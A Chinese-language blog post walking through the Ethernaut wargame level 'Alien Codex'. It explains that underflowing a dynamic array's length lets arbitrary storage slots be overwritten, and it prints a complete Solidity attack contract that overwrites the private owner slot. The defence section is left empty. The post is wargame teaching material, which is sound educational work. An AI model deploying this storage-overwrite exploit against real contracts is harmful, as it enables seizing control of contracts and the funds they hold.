# 智能合约黑客攻击 Ethernaut: 19. Alien Codex **Published by:** [Leek DEV](https://paragraph.com/@leekdev/) **Published on:** 2023-09-28 **URL:** https://paragraph.com/@leekdev/ethernaut-19-alien-codex ## Content Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约owner改为自己Hack思路合约里的 owner 是 private 的,也没有提供方法修改。但是后面有个 数组,提供了比较hack的方法,可以从这里入手 。Storage SlotStorage Slot攻击代码// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAlienCodex { function owner() external view returns (address); function makeContact() external; function record(bytes32 _content) external; function retract() external; function revise(uint256 i, bytes32 _content) external; } contract AlienCodexHack { IAlienCodex public exploitInst; constructor(address _target) { exploitInst = IAlienCodex(_target); exploitInst.makeContact(); exploitInst.retract(); exploitInst.revise(((2 ** 256) - 1) - uint256(keccak256(abi.encode(1))) + 1, bytes32(abi.encode(tx.origin))); } } Hack案例…防范思路…参考资料Layout of State Variables in StorageEthernaut Level 19 - Alien CodexFinding Storage Slots ## Publication Information - [Leek DEV](https://paragraph.com/@leekdev/): Publication homepage - [All Posts](https://paragraph.com/@leekdev/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@leekdev): Subscribe to updates - [Twitter](https://twitter.com/LeekDEV): Follow on Twitter